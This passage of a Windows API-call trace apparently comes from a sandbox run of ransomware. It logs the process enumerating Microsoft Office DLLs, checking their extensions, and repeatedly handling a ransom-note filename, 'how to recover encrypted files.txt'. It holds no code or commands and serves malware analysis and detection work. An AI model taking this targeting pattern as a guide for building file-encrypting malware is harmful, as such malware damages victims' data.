lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", cchWideChar=66, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLLe", lpUsedDefaultChar=0x0) returned 66 [0047.308] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\PRJRES.DLLe", lpUsedDefaultChar=0x0) returned 4 [0047.308] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0047.308] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.308] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.308] CharLowerBuffW (in: lpsz="RICHED20.DLL", cchLength=0xc | out: lpsz="riched20.dll") returned 0xc [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLLn", lpUsedDefaultChar=0x0) returned 68 [0047.309] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\RICHED20.DLLn", lpUsedDefaultChar=0x0) returned 4 [0047.309] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0047.309] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.309] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.309] CharLowerBuffW (in: lpsz="SERCONV.DLL", cchLength=0xb | out: lpsz="serconv.dll") returned 0xb [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpUsedDefaultChar=0x0) returned 67 [0047.310] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\SERCONV.DLL", lpUsedDefaultChar=0x0) returned 4 [0047.310] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0047.310] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.310] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.310] CharLowerBuffW (in: lpsz="USP10.DLL", cchLength=0x9 | out: lpsz="usp10.dll") returned 0x9 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", cchWideChar=65, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpUsedDefaultChar=0x0) returned 65 [0047.311] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\USP10.DLL", lpUsedDefaultChar=0x0) returned 4 [0047.311] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0047.311] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.311] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.311] CharLowerBuffW (in: lpsz="VBAJET32.DLL", cchLength=0xc | out: lpsz="vbajet32.dll") returned 0xc [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0047.311] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLLn", lpUsedDefaultChar=0x0) returned 68 [0047.311] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\VBAJET32.DLLn", lpUsedDefaultChar=0x0) returned 4 [0047.312] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0047.312] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.312] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.312] CharLowerBuffW (in: lpsz="WISC30.DLL", cchLength=0xa | out: lpsz="wisc30.dll") returned 0xa [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 